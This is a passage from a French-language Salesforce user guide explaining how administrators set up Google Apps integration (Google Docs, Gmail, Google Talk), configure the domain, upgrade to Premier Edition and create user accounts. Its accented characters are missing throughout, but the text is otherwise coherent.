l'aide bouton du navigateur Ajouter un document Google Salesforce.
Ajouter des documents Google Salesforce CRM Content vous permet de grer tous les types de contenu dans un
emplacement centralis.

Onglet Google Documents

Lorsque l'onglet Google Documents est activ, vous pouvez l'utiliser pour accder facilement la page d'accueil Documents
pour votre compte Google Apps sans quitter Salesforce.com. L'onglet Google Documents comporte votre page d'accueil
Documents qui liste tous les documents Google, les feuilles de calcul et prsentations crs ou que d'autres utilisateurs
ont partags avec vous. Si le service Ajouter Google Documents Salesforce est galement activ, vous pouvez crer un
document Google depuis l'onglet Google Documents, pis, en un clic, associer ce document tout enregistrement
Salesforce.com.
Gmail to Salesforce.com
Gmail est une application de messagerie Internet qui fonctionne sur tous les navigateurs standard et peut tre utilise
avec le domaine de votre socit. Gmail Salesforce.com permet de consigner automatiquement les e-mails envoys
partir de votre compte Gmail comme activits dans les enregistrements de pistes et de contacts dans Salesforce.com.
Boutons et liens Gmail
L'option Boutons et liens Gmail permet d'ajouter des liens Gmail en regard des champs d'e-mail dans tous les
enregistrements et d'ajouter les boutons Composer un e-mail dans Gmail dans les listes associes l'historique des
activits pour les pistes et les contacts. Lorsque vous cliquez sur un lien Gmail ou sur le bouton Composer un e-mail

Salesforce pour Google Apps

Guide de l'utilisateur | Prsentation de Google Apps | 1833

dans Gmail, Salesforce.com vous connecte votre compte Gmail et renseigne automatiquement le champ . Si Gmail
to Salesforce est activ, Salesforce.com renseigne galement le champ Cci avec votre adresse Envoyer un e-mail
Salesforce.com.
Composant de menu latral Google Talk
Google Talk est l'outil de messagerie instantane de Google. Lorsque le composant de menu latral Google Talk est
activ dans Salesforce.com, Google Talk s'affiche au-dessous des champs de recherche du menu latral o il peut tre
slectionn, dslectionn ou dvelopp dans sa propre fentre. Vous pouvez galement consigner un enregistrement de
chat en tant qu'activit dans un enregistrement de piste ou de contact Salesforce.com.
Conseils en matire de mise en uvre

Pour plus d'informations sur Google Apps, consultez l'aide en ligne de Google.
Google Apps dans Salesforce.com est disponible pour les comptes professionnels Google, mais pas pour les comptes
personnels. Vous pouvez identifier un compte personnel l'aide du domaine gmail.com dans une adresse e-mail. Par
exemple, myname@gmail.com est un compte personnel. Le domaine Google Apps configur dans Salesforce.com doit tre
celui avec lequel vous vous tes enregistr auprs de Google pour votre entreprise. Par exemple, masocit.com est un
compte professionnel plutt que personnel.
Aprs la cration d'un compte Google Apps pour votre entreprise, crez des comptes Google Apps pour vos utilisateurs
Salesforce.com en cliquant sur Exporter vers Google Apps dans Configuration Gestion des utilisateurs Utilisateurs.
Informez les utilisateurs de leurs noms d'utilisateur et mots de passe Google Apps.
Avertissez-les des modifications qui s'afficheront dans Salesforce.com lorsque les services Google Apps seront activs. Par
exemple, l'activation du composant de barre latrale Google Talk permet d'ajouter Google Talk la barre latrale pour
tous les utilisateurs de votre entreprise.
Pour consulter toutes les sous-applications Google disponibles dans Force.com AppExchange, visitez
http://sites.force.com/appexchange.
Par dfaut, les utilisateurs Google Apps sur le domaine de votre entreprise peuvent partager les documents Google avec
les comptes Google Apps en dehors de votre domaine. Le panneau de configuration de votre compte Google Apps contient
les paramtres de partage qui permettent de limiter le partage de documents votre domaine.
Lorsque le service Ajouter Google Documents Salesforce.com est dsactiv, il n'est pas possible d'accder aux documents
Google partir des enregistrements Salesforce.com, et tous les documents Google se trouvant dans la corbeille des utilisateurs
et qui ont t effacs d'un enregistrement sont supprims dfinitivement de Salesforce.com. Si le service Ajouter Google
Documents Salesforce.com est ractiv dans les 30 jours, l'emplacement prcdent des documents Google associs aux
enregistrements Salesforce.com avant la ractivation est restaur. La dsactivation du service Ajouter Google Documents
Salesforce.com n'a pas d'effet sur les documents Google dans les espaces de travail Salesforce CRM Content. La
dsactivation ne supprime pas les associations de documents Google dans les espaces de travail et ne supprime pas
dfinitivement les documents Google qui se trouvent dans les corbeilles.
Les utilisateurs du portail client et du portail partenaire ayant accs l'onglet Contribuer dans Salesforce CRM Content
peuvent crer de nouveaux documents Google et associer des documents Google existants l'espace de travail Salesforce.com.
Les utilisateurs de portail sans accs Salesforce CRM Content peuvent associer un document Google existant un
enregistrement, mais ils ne peuvent pas crer de nouveaux documents Google depuis l'intrieur d'un enregistrement car
elles n'ont pas d'accs la liste associe Google Documents, Notes et pices jointes du portail. Les utilisateurs du portail
ne peuvent pas utiliser le bouton du navigateur Ajouter Google Documents Salesforce.com.
Les utilisateurs du Portail Client et du portail partenaire ne peuvent pas accder aux boutons et liens de Gmail ou aux
services du composant de barre latrale Google Talk.
Si votre organisation a achet la fonctionnalit Salesforce.com pour Google Apps pris en charge, reportez-vous Mise en
route de Salesforce et Google Apps pris en charge la page 1836.

Les meilleures pratiques

Testez votre intgration Google Apps l'aide d'une d'une organisation de test Sandbox ou Developer Edition.

Salesforce pour Google Apps

Guide de l'utilisateur | Mise en route de Salesforce et Google Apps | 1834

Grez les utilisateurs Google Apps comme vous grez les utilisateurs de Salesforce.com. Par exemple, dsactivez un utilisateur
Salesforce.com ainsi que son compte Google Apps dans le panneau de configuration du compte Google Apps de votre
entreprise. Pour plus d'informations sur l'administration du compte Google Apps de votre entreprise, consultez l'aide en
ligne de Google.
Pour rechercher rapidement un document Google dans Salesforce.com, utilisez la fonction de recherche de la barre latrale.
Si Google Talk figure dans la barre latrale, l'actualisation d'une page Salesforce.com entrane la dconnexion momentane
et reconnexion de Google Talk. Recommandez vos utilisateurs d'ouvrir Google Talk dans une fentre distincte s'ils
souhaitent avoir des conversations plus longues.

Voir aussi :
Mise en route de Salesforce et Google Apps
Utilisation de Google Documents dans Salesforce.com
Utilisation de Gmail dans Salesforce.com
Utilisation de Google Talk dans Salesforce.com

Mise en route de Salesforce et Google Apps

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher et modifier les paramtres du domaine Google Personnaliser l'application
Apps :
Pour activer ou dsactiver les services Google Apps :

Personnaliser l'application

Pour installer ou dsinstaller des packages Force.com

AppExchange :

Tlcharger des packages AppExchange

Pour exporter une liste d'utilisateurs vers Google afin de crer Personnaliser l'application
des comptes Google Apps :

Google Apps est une suite de services de communication et de collaboration la demande hbergs par Google et conus pour
les utilisateurs professionnels. Si votre entreprise possde un compte Google Apps, les administrateurs Salesforce.com peuvent
activer Google Documents, Gmail, Google Talk, et tout un ensemble d'applications AppExchange associes Google,
personnaliss pour une utilisation dans Salesforce.com. Pour consulter une description de la fonctionnalit de Google Apps
dans Salesforce.com, reportez-vous Prsentation de Google Apps la page 1832.
tape 1 : Cration d'un compte Google Apps
Crez un compte Google Apps pour votre entreprise l'aide de l'une des mthodes suivantes :

Sur la page Configuration Google Apps Paramtres, cliquez sur Inscrivez-vous pour lancer la page de cration de
compte sur le site Google. Vous tes invit enregistrer le nom de domaine de votre entreprise ou acheter un nouveau
nom de domaine depuis Google. Un domaine est la partie de l'URL du site Web qui suit la mention www. Suivez les
instructions de Google pour configurer votre domaine existant ou nouveau et configurez votre compte Google Apps.

Salesforce pour Google Apps

Guide de l'utilisateur | Mise en route de Salesforce et Google Apps | 1835

Si votre entreprise a achet la prise en charge de Salesforce et Google Apps, cliquez sur Configuration Google Apps
Configuration de Premier pour crer un nouveau compte Google Apps Premier Edition ou pour mettre niveau votre
compte Standard Edition existant vers Premier Edition. Pour plus de dtails, reportez-vous Mise en route de la prise de
charge de Salesforce et Google Apps la page 1836.
Remarque: Google Apps dans Salesforce.com prend en charge les comptes professionnels Google Apps, mais pas les
comptes personnels. Vous pouvez identifier un compte personnel l'aide du domaine gmail.com dans une adresse
e-mail. Par exemple, monnom@gmail.com est un compte personnel. Le domaine Google Apps configur dans
Salesforce.com doit tre celui avec lequel vous vous tes enregistr auprs de Google pour votre entreprise. Par exemple,
masocit.com est un compte professionnel plutt que personnel.

tape 2 : Configuration des paramtres du domaine Google Apps

1. Dans la page Configuration Google Apps Paramtres de Salesforce.com, cliquez sur Modifier.
2. Choisissez un utilisateur pour le champ Contact administratif de Google Apps. Cette personne est le point de
contact des utilisateurs Google Apps dans votre entreprise. Plus prcisment, si un utilisateur ne peut pas accder un
service Google Apps, on lui indique de consulter le Contact administratif de Google Apps. Il n'est pas ncessaire que le
Contact administratif de Google Apps soit la mme personne qui est enregistre comme administrateur de Google Apps
de votre entreprise auprs de Google. Toutefois, seul l'administrateur de Google Apps peut crer des utilisateurs Google
Apps sur votre domaine.
3. Indiquez le Domaine Google Apps que vous avez enregistr auprs de Google. Par exemple, si l'URL de votre socit
est http://www.acme.com et que vous avez cr un compte Google Apps pour le domaine acme.com, indiquez acme.com
dans le champ Domaine Google Apps.
4. Cliquez sur Enregistrer.
tape 3 : Activation des services Google Apps
1. Dans la section Activer les services Google Apps sur la page Configuration Google Apps Paramtres, recherchez
le ou les services Google Apps activer.
2. Cliquez sur Modifier ou Installer pour activer un service. Dans la colonne Action, Modifier correspond aux services
Google Apps dj intgrs dans Salesforce.com et Installer correspond aux applications Force.com AppExchange
dsinstalles. Les services Google Apps intgrs comprennent :

Ajout de documents Google Salesforce

Onglet Google Documents
Gmail to Salesforce.com
Boutons et liens Gmail
Composant de menu latral Google Talk

Pour consulter des descriptions de sous-applications AppExchange associes Google, visitez la page
http://sites.force.com/appexchange.
tape 4 : Cration d'utilisateurs Google Apps
L'activation des services Google Apps dans Salesforce.com permet de les rendre visibles. Toutefois, un utilisateur ne peut pas
accder un service sauf s'il possde un compte Google Apps sur le domaine de votre entreprise. L'administrateur de Google

Salesforce pour Google Apps

Guide de l'utilisateur | Mise en route de Salesforce et Google Apps pris en charge | 1836

Apps enregistr auprs de Google peut crer ces comptes supplmentaires. Pour plus d'informations, reportez-vous la rubrique
Cration des comptes Google Apps la page 1840.

Voir aussi :
Utilisation de Google Documents dans Salesforce.com
Utilisation de Gmail dans Salesforce.com
Utilisation de Google Talk dans Salesforce.com

Mise en route de Salesforce et Google Apps pris en charge

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer un nouveau compte Google Apps Premier Edition Personnaliser l'application
dans Salesforce :
OU
Contact administratif de Google Apps
Pour mettre niveau Google Apps Standard Edition vers
Google Apps Premier Edition dans Salesforce :

Personnaliser l'application
OU
Contact administratif de Google Apps

La fonctionnalit Salesforce et Google Apps pris en charge comprend un compte Google Apps Premier Edition pour votre
organisation. Dans Salesforce.com, vous pouvez crer ce compte ou le mettre niveau partir d'un compte existant Google
Apps Standard Edition vers un compte Google Apps Premier Edition. Pour consulter une description des services Google
Apps disponibles dans Salesforce.com, reportez-vous Prsentation de Google Apps la page 1832.
Une fois que vous avez cr un nouveau compte Google Apps Premier Edition ou mis niveau votre compte Google Apps
Standard Edition dans Salesforce.com, la page Configuration de Premier affiche le nom de domaine de votre entreprise, le
nombre de licences Google Apps Premier Edition disponibles et, le cas chant, le statut de votre mise jour.

Cration d'un nouveau compte Google Apps Premier Edition

Si votre entreprise ne dispose pas d'un compte Google Apps, procdez comme suit pour enregistrer un compte Google Apps
Premier Edition et activer Salesforce et Google Apps :
1. Cliquez sur Paramtres Google Apps Configuration de Premier.
2. Remplissez les champs de la colonne A :

Salesforce pour Google Apps

Guide de l'utilisateur | Mise en route de Salesforce et Google Apps pris en charge | 1837

Champ

Description

Nom de domaine

Entrez le domaine que vous souhaitez enregistrer comme

compte Google Apps de votre entreprise. Par exemple, si
l'URL de votre entreprise est http://www.acme.com,
entrez acme.com comme Nom de domaine.

Nom de l'utilisateur

Cette valeur sert crer l'administrateur Google Apps

administrateur pour le compte de votre entreprise. Par
exemple, si votre administrateur Google Apps est
jsmith@acme.com, entrez jsmith. Aprs avoir cr votre
compte Google Apps, vous pouvez vous connecter avec le
nom d'utilisateur et le mot de passe et modifier
cette valeur si ncessaire.

Prnom

Cette valeur sert crer l'administrateur Google Apps

administrateur pour le compte de votre entreprise. Aprs
avoir cr votre compte Google Apps, vous pouvez vous
connecter avec le nom d'utilisateur et le mot de
passe et modifier cette valeur si ncessaire.

Nom

Cette valeur sert crer l'administrateur Google Apps

administrateur pour le compte de votre entreprise. Aprs
avoir cr votre compte Google Apps, vous pouvez vous
connecter avec le nom d'utilisateur et le mot de
passe et modifier cette valeur si ncessaire.

Adresse e-mail

Cette adresse e-mail reoit un avis de confirmation lorsque

votre compte Google Apps Premier Edition est cr. Google
ne stocke cette valeur dans aucun autre but.

Mot de passe

L'administrateur Google Apps peut se connecter Google

Apps l'aide de ce mot de passe.

Confirmez le mot de passe

L'administrateur Google Apps peut se connecte Google

Apps l'aide de ce mot de passe.

3. Cliquez sur Crer un nouveau compte Premium.

4. Pour activer Salesforce et Google Apps, cliquez sur Configuration Google Apps Paramtres.
5. Choisissez un utilisateur pour le champ Contact administratif de Google Apps. Cette personne est le point de
contact des utilisateurs Google Apps dans votre entreprise. Plus prcisment, si un utilisateur ne peut pas accder un
service Google Apps, on lui indique de consulter le Contact administratif de Google Apps. Il n'est pas ncessaire que le
Contact administratif de Google Apps soit la mme personne qui est enregistre comme administrateur de Google Apps
de votre entreprise auprs de Google. Toutefois, seul l'administrateur de Google Apps peut crer des utilisateurs Google
Apps sur votre domaine.
6. Vrifiez que le champ Domaine Google Apps contient le nom de domaine que vous avez enregistr avec Google.
7. Activer les services Google Apps dans Salesforce.com. Pour plus d'informations, reportez-vous la rubrique Activation
des services Google Apps la page 1835.
8. Crez des utilisateurs pour le compte Google Apps de votre entreprise. Pour plus d'informations, reportez-vous la rubrique
Cration des comptes Google Apps la page 1840.

Salesforce pour Google Apps

Guide de l'utilisateur | Mise en route de Salesforce et Google Apps pris en charge | 1838

Remarque: Si votre entreprise a achet Google Apps Premier Edition, les comptes que vous pouvez crer sont
limits au nombre de licences que votre entreprise a achetes avec la prise en charge de Salesforce et Google Apps.

Mise niveau vers un compte Google Apps Premier Edition

Procdez comme suit pour mettre niveau le compte Google Apps Standard Edition de votre entreprise vers un compte
Google Apps Premier Edition.
1. Cliquez sur Configuration Google Apps Configuration de Premier.
2. Remplissez les champs de la colonne B :
Champ

Description

Nom de domaine

Le domaine que vous souhaitez enregistrer comme compte

Google Apps Premier Edition de votre entreprise. Si vous
avez dj activ Salesforce et Google Apps, ce champ est
dj renseign avec le nom de domaine de votre entreprise.

Jeton Google Apps

Le jeton 16 chiffres est ncessaire pour la mise niveau de

Google Apps Standard Edition vers Google Apps Premier
Edition. L'administrateur Google Apps de votre entreprise
peut accder ces informations sur le site Web de Google.
Pour plus d'informations, cliquez sur Rcuprer le jeton
Google Apps dans la colonne B.

3. Cliquez sur Mettre niveau un compte existant vers un compte Premium.

4. Pour activer Salesforce et Google Apps, cliquez sur Configuration Google Apps Paramtres.
5. Si ncessaire, choisissez un utilisateur pour le champ Contact administratif de Google Apps. Cette personne
est le point de contact des utilisateurs Google Apps dans votre entreprise. Plus prcisment, si un utilisateur ne peut pas
accder un service Google Apps, on lui indique de consulter le Contact administratif de Google Apps. Il n'est pas ncessaire
que le Contact administratif de Google Apps soit la mme personne qui est enregistre comme administrateur de Google
Apps de votre entreprise auprs de Google. Toutefois, seul l'administrateur de Google Apps peut crer des utilisateurs
Google Apps sur votre domaine.
6. Vrifiez que le champ Domaine Google Apps contient le nom de domaine que vous avez enregistr avec Google.
7. Si ncessaire, activez les services Google Apps dans Salesforce.com. Pour plus d'informations, reportez-vous la rubrique
Activation des services Google Apps la page 1835.
8. Si ncessaire, crez des utilisateurs pour le compte Google Apps de votre entreprise. Pour plus d'informations, reportez-vous
la rubrique Cration des comptes Google Apps la page 1840.
Remarque: Si votre entreprise a achet Google Apps Premier Edition, les comptes que vous pouvez crer sont
limits au nombre de licences que votre entreprise a achetes avec la prise en charge de Salesforce et Google Apps.

Voir aussi :
Prsentation de Google Apps
Mise en route de Salesforce et Google Apps

Salesforce pour Google Apps

Guide de l'utilisateur | Configuration de Google Apps dans Salesforce.com | 1839

Configuration de Google Apps dans Salesforce.com

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les paramtres du domaine Google Apps et
activer ou dsactiver des services :

Personnaliser l'application

Pour installer ou dsinstaller les packages AppExchange :

Tlcharger des packages AppExchange

Cliquez sur Configuration Google Apps Paramtres pour modifier vos paramtres de domaine Google Apps, activer
ou dsactiver les services Google Apps dans Salesforce.com. Vous pouvez galement installer ou dsinstaller les packages
Force.com AppExchange associs Google. Pour une description de la fonctionnalit de Google Apps dans Salesforce.com,
reportez-vous Prsentation de Google Apps la page 1832.
Important: Vous ne pouvez pas utiliser Salesforce et Google Apps tant qu'un compte Google Apps n'est pas cr
pour votre organisation et que vos paramtres de domaine Google Apps ne sont pas configurs dans Salesforce.com.
Pour obtenir des instructions sur la cration d'un compte et la configuration de vos paramtres de domaine,
reportez-vous la rubrique Mise en route de Salesforce et Google Apps la page 1834.
Modification des paramtres de domaine Google Apps
Les paramtres de domaine comprennent deux valeurs : l'utilisateur choisi pour administrer le compte Google Apps de votre
entreprise et le domaine avec lequel votre entreprise s'est enregistre auprs de Google. Ces deux champs sont obligatoires
pour activer Google Apps dans Salesforce.com. Pour modifier vos paramtres de domaine :
1. Dans la section Configurer le domaine Google Apps, cliquez sur Modifier.
2. En option choisissez un utilisateur pour le champ Contact administratif de Google Apps. Cette personne est
le point de contact des utilisateurs Google Apps dans votre entreprise. Plus prcisment, si un utilisateur ne peut pas accder
un service Google Apps, on lui indique de consulter le Contact administratif de Google Apps. Il n'est pas ncessaire que
le Contact administratif de Google Apps soit la mme personne qui est enregistre comme administrateur de Google Apps
de votre entreprise auprs de Google. Toutefois, seul l'administrateur de Google Apps peut crer des utilisateurs Google
Apps sur votre domaine.
3. En option, modifiez le Domaine Google Apps qui est enregistr auprs de Google pour le compte Google Apps de
votre entreprise. Votre DomaineGoogle Apps est gnralement le domaine de votre socit, par exemple, acme.com.
Modification des services Google Apps
Cette section rpertorie les services Google Apps qui sont intgrs Salesforce.com et offre galement des liens vers plusieurs
applications Force.com AppExchange associes Google qui peuvent facilement tre installes partir d'AppExchange.
Pour activer ou dsactiver un service intgr, cliquez sur Modifier en regard du nom du service. Ces services comprennent :

Ajout de documents Google Salesforce

Onglet Google Documents
Gmail to Salesforce.com
Boutons et liens Gmail
Composant de menu latral Google Talk

Salesforce pour Google Apps

Guide de l'utilisateur | Cration de comptes Google Apps | 1840

Remarque: Si vous activez un service pour la premire fois, consultez les Conseils en matire de mise en uvre pour
les services Google Apps.
Pour installer ou dsinstaller une application AppExchange, cliquez sur Installer ou Dsinstaller en regard du nom appropri.
Pour consulter toutes les offres AppExchange associes Google, visitez le site http://sites.force.com/appexchange.

Voir aussi :
Installation d'un package
Dsinstaller un package
Prsentation de Google Apps

Cration de comptes Google Apps

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Exporter des utilisateurs vers Google :

Personnaliser l'application

Crer des comptes Google Apps :

Administrateur de Google Apps

Aprs avoir cr un compte Google Apps pour votre entreprise et activ Google Apps dans Salesforce.com, vous pouvez crer
des comptes Google Apps pour des utilisateurs individuels. Pour accder aux services Google Apps activs dans Salesforce.com,
chaque utilisateur doit possder un compte Google Apps sur le domaine avec lequel votre entreprise s'est enregistre auprs
de Google. Un compte comprend un nom d'utilisateur et un mot de passe qui permettent la connexion de l'utilisateur tous
les services Google Apps.
Remarque: Si votre entreprise a achet la prise en charge de Salesforce et Google Apps, le nombre de comptes Google
Apps Premier Edition que vous pouvez crer est limit au nombre de licences achetes par votre entreprise.
Pour exporter une liste d'utilisateurs vers Google et crer des comptes Google Apps pour chaque utilisateur :
1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
2. Dans la liste droulante Vue, choisissez une liste d'utilisateurs. Pour crer une vue de liste personnalise, reportez-vous
la rubrique Cration de vues Listes personnalises la page 1538.
3. Cliquez sur Exporter vers Google Apps pour exporter tous les utilisateurs de la liste. Pour exporter uniquement certains
utilisateurs, slectionnez ceux qui figurent dans la colonne Action.
Remarque: Si l'option Google Apps n'est pas active pour votre organisation, le bouton Exporter vers Google
Apps ne s'affiche pas. Pour activer Google Apps dans Salesforce.com, reportez-vous Mise en route Salesforce et
Google Apps la page 1834.
4. Sur la page Exporter des utilisateurs vers Google Apps, cliquez sur le lien d'exportation du fichier tape 1. Le nom du lien
dpend de la vue de liste exporter. Par exemple, si vous consultez la liste Tous les utilisateurs, le lien sur la page Exporter
des utilisateurs vers Google Apps est Fichier d'exportation de tous les utilisateurs.

Salesforce pour Google Apps

Guide de l'utilisateur | Utilisation de Google Documents dans Salesforce.com | 1841

5. Dans la feuille de calcul CSV qui s'affiche lorsque vous cliquez sur le lien d'exportation, indiquez un mot de passe temporaire
pour chaque utilisateur. Vous pouvez modifier les champs nom d'utilisateur, nom de famille et prnom pour
tout utilisateur, le cas chant. Google cre des noms de comptes en ajoutant votre domaine aux noms d'utilisateurs dans
la feuille de calcul. Par exemple, si votre domaine est acme.com et que la feuille de calcul contient les noms d'utilisateurs
jean.perrin et chantal.perrin, ces derniers deviennent jean.perrin@acme.com et chantal.perrin@acme.com avec Google
Apps.
6. Enregistrez la feuille de calcul sur votre ordinateur.
7. Cliquez sur le lien Outil d'importation des utilisateurs en bloc de Google Apps pour lancer la page Mise jour des
comptes en bloc pour le compte Google Apps de votre entreprise. En cas d'invite, connectez-vous avec votre nom d'utilisateur
d'administrateur Google Apps. Seul l'utilisateur enregistr auprs de Google comme administrateur du compte de votre
entreprise peut crer d'autres comptes Google Apps sur le domaine de votre entreprise.
8. Suivez les instructions de Google pour importer les donnes dans la feuille de calcul. L'administrateur de Google Apps
reoit un rapport de confirmation. Ainsi, l'utilisateur reoit un e-mail de notification sur son nouveau compte Gmail pour
chaque compte cr correctement.
9. Informez les utilisateurs de leurs noms d'utilisateur et mots de passe. Ces informations sont requises pour utiliser tout
service Google Apps activ dans Salesforce.com.

Voir aussi :
Prsentation de Google Apps
Mise en route de Salesforce et Google Apps

Utilisation de Google Documents dans Salesforce.com

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Activation du service Ajouter Google Documents
Salesforce.com :

Personnaliser l'application

Activation de l'onglet Google Documents :

Personnaliser l'application

Utilisation de Google Documents dans Salesforce.com

Autorisation de lecture sur le type d'enregistrement appropri

AND
Compte Google Apps

Utilisez Google Documents pour crer et partager des documents la demande et des feuilles de calcul (documents Google)
ainsi que pour visualiser les modifications effectues en temps rel, lors de vos collaborations avec d'autres utilisateurs. Parce
votre contenu est stock dans Google, il n'est plus ncessaire d'avoir grer diffrentes versions ou d'envoyer des pices jointes
par email ; il suffit de vous connecter avec votre compte Google Apps pour visualiser le document en cours ou l'historique des
rvisions.
Salesforce et Google Apps permet d'intgrer Google Documents Salesforce.com de trois manires :

Salesforce pour Google Apps

Guide de l'utilisateur | Activation de Google Documents dans Salesforce.com | 1842

Accdez la page d'accueil Documents en utilisant un onglet Salesforce.com : la page d'accueil Documents de votre compte
Google Apps rpertorie tous les documents Google, prestations et feuilles de calcul que vous avez crs ou que d'autres
utilisateurs Google Apps ont partag avec vous. Si l'onglet Google Documents est activ, vous pouvez accder la page
d'accueil de vos Documents sans quitter Salesforce.com.
Associez des documents Google des enregistrements Salesforce.com : depuis la page d'accueil Documents, vous pouvez
associer un document Google des enregistrements Salesforce.com l'aide du bouton de navigation Ajouter un document
Google Salesforce.com. Vous pouvez aussi crer, modifier, ou supprimer les associations de documents Google n'importe
quel enregistrement Salesforce.com l'aide des listes associes Google Documents, Remarques et pices jointes ou Google
Documents et Pices jointes.
Utiliser Salesforce CRM Content pour grer Google Documents : si Salesforce CRM Content est activ, vous pouvez
utiliser l'onglet Contribuer ou le bouton du navigateur Ajouter un document Google Salesforce.com pour ajouter des
documents Google vos espaces de travail. Inclure des documents Google Salesforce CRM Content vous permet de
grer tous les types de contenus dans un emplacement centralis.

Pour plus d'informations sur Google Documents, consultez l'aide en ligne de Google.

Voir aussi :
Activation de l'onglet Google Documents
Activation de Google Documents dans Salesforce.com
Ajout de Google Documents Salesforce.com
Installation du bouton du navigateur Ajouter Google Documents Salesforce.com

Activation de Google Documents dans Salesforce.com

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Activation du service Ajouter Google Documents
Salesforce.com :

Personnaliser l'application

Important: Une fois un service Google Apps activ dans Salesforce.com, il est visible par tous les utilisateurs de votre
organisation. Pour utiliser ces services, vos utilisateurs doivent possder des comptes Google Apps sur votre domaine.
Pour plus d'informations, reportez-vous la rubrique Mise en route de Salesforce et Google Apps la page 1834.
Google Documents vous permet de crer des documents, des feuilles de calcul et des prsentations la demande, de les
modifier dans votre navigateur, et de travailler en temps rel avec d'autres collaborateurs.
Pour activer ou dsactiver le service Ajouter Google Documents Salesforce.com :
1. Cliquez sur Configuration Google Apps Paramtres.
2. Cliquez sur Modifier en regard de l'option Ajouter Google Documents Salesforce.com dans la liste Activer les services
Google Apps.
3. Cochez ou dslectionnez la case Activer.

Salesforce pour Google Apps

Guide de l'utilisateur | Activation de Google Documents dans Salesforce.com | 1843

4. Si vous activez le service Ajouter des Google Documents Salesforce.com, lisez les conditions d'utilisation et cochez la
case qui indique que vous acceptez ces conditions.
5. Cliquez sur Enregistrer.
Lorsque le service Ajouter Google Documents Salesforce.com est activ, les modifications suivantes permettent aux utilisateurs
de crer, de modifier ou d'afficher des documents Google et de les associer des enregistrements Salesforce.com :

La liste associe Notes & Pices jointes sur les comptes, les actifs, les contacts, les contrats, les pistes, les opportunits, les
produits et les objets personnaliss est renomme en Google Documents, Notes et pices jointes.
La liste associe Pices jointes sur les requtes, les solutions et les campagnes est renomme en Google Documents et pices
jointes.
Si Salesforce CRM Content est activ, l'onglet Espaces de travail dispose d'une liste droulante Ajouter un document
Google.

L'utilisateur peut galement installer le bouton de navigateur Ajouter un document Google Salesforce.com, qui permet
d'associer un document Google plusieurs enregistrements Salesforce.com ou un espace de travail Salesforce CRM Content
sans tre connect Salesforce.com. Pour plus d'informations, reportez-vous Installation du bouton du navigateur Ajouter
Google Documents Salesforce.com la page 1848 et Ajouter Google Documents Salesforce.com la page 1844.
Conseils en matire de mise en uvre

Pour plus d'informations sur Google Documents, consultez l'aide en ligne de Google.
Par dfaut, les utilisateurs de Google Documents sur votre domaine peuvent partager leurs documents Google avec les
comptes Google Apps en dehors de votre domaine. Le panneau de configuration de votre compte Google Apps contient
les paramtres de partage qui permettent de limiter le partage de documents au domaine de votre entreprise.
Les utilisateurs du portail client et du portail partenaire ayant accs l'onglet Contribuer dans Salesforce CRM Content
peuvent crer de nouveaux documents Google et associer des documents Google existants l'espace de travail Salesforce.com.
Les utilisateurs de portail sans accs Salesforce CRM Content peuvent associer un document Google existant un
enregistrement, mais ils ne peuvent pas crer de nouveaux documents Google depuis l'intrieur d'un enregistrement car
elles n'ont pas d'accs la liste associe Google Documents, Notes et pices jointes du portail. Les utilisateurs du portail
ne peuvent pas utiliser le bouton du navigateur Ajouter Google Documents Salesforce.com.
Lorsque le service Ajouter Google Documents Salesforce.com est dsactiv, il n'est pas possible d'accder aux documents
Google partir des enregistrements Salesforce.com, et tous les documents Google se trouvant dans la corbeille des utilisateurs
et qui ont t effacs d'un enregistrement sont supprims dfinitivement de Salesforce.com. Si le service Ajouter Google
Documents Salesforce.com est ractiv dans les 30 jours, l'emplacement prcdent des documents Google associs aux
enregistrements Salesforce.com avant la ractivation est restaur. La dsactivation du service Ajouter Google Documents
Salesforce.com n'a pas d'effet sur les documents Google dans les espaces de travail Salesforce CRM Content. La
dsactivation ne supprime pas les associations de documents Google dans les espaces de travail et ne supprime pas
dfinitivement les documents Google qui se trouvent dans les corbeilles.
Le service Ajouter Google Documents Salesforce.com ne peut pas tre dsactiv dans votre entreprise si les documents
Google sont rfrencs dans un script Apex. Pour plus d'informations, reportez-vous Prsentation du code Apex Force.com
la page 887
Nombre de documents Google par rapport au stockage de donnes. Pour chaque document Google associ un
enregistrement ou un espace de travail de Salesforce.com, 2 Ko de stockage sont utiliss.

Voir aussi :
Ajout de Google Documents Salesforce.com
Installation du bouton du navigateur Ajouter Google Documents Salesforce.com

Salesforce pour Google Apps

Guide de l'utilisateur | Ajout de Google Documents Salesforce.com | 1844

Ajout de Google Documents Salesforce.com

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Cration d'un document Google et liaison avec des
enregistrements Salesforce.com :

Autorisation de lecture sur le type d'enregistrement appropri

AND
Compte Google Apps

Remarque: Pour utiliser un service Google Apps dans Salesforce.com, vous devez tre connect votre compte
professionnel Google Apps. Les comptes professionnels utilisent le domaine de votre socit, par exemple,
jean.perrin@socit.com. Si vous n'tes pas sr de votre nom d'utilisateur et mot de passe Google Apps, contactez
votre administrateur.
Salesforce.com propose trois mthodes pour crer des documents Google et les associer des enregistrements Salesforce.com
:

Vous pouvez crer un document Google partir de toute page de dtails. Le document est automatiquement associ
l'enregistrement et est visible tout utilisateur qui a accs l'enregistrement et au document Google.
Vous pouvez crer un document Google partir de la page d'accueil Documents de votre compte Google Apps et associer
le document un ou plusieurs enregistrements Salesforce.com ou espaces de travail Salesforce CRM Content l'aide du
bouton de navigateur Ajouter un document Google Document Salesforce.
Si Salesforce CRM Content est activ, vous pouvez crer un document Google partir de l'onglet Contribuer pour l'associer
un espace de travail Salesforce CRM Content.
Conseil: Pour plus d'informations sur l'utilisation de Google Documents, consultez l'aide en ligne de Google.

Ajout de nouveaux documents Google un enregistrement Salesforce.com

1. Affichez l'enregistrement associer au nouveau document Google.
2. Dans la liste associe aux Google Documents, aux notes et aux pices jointes ou dans la liste associe aux Google Documents
et aux pices jointes, cliquez sur Ajouter un Google Document et slectionnez Nouveau document, Nouvelle feuille de
calcul ou Nouvelle prsentation.
3. Pour crer un document Google vierge :
a. Aprs avoir choisi un type de document dans la liste droulante Ajouter un document Google, choisissez Crer un
document vierge, Crer une feuille de calcul vierge ou Crer une prsentation vierge. Le
